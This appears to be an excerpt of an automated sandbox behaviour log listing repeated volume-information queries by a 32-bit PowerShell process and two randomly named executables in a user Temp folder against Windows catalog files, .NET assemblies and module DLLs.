Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
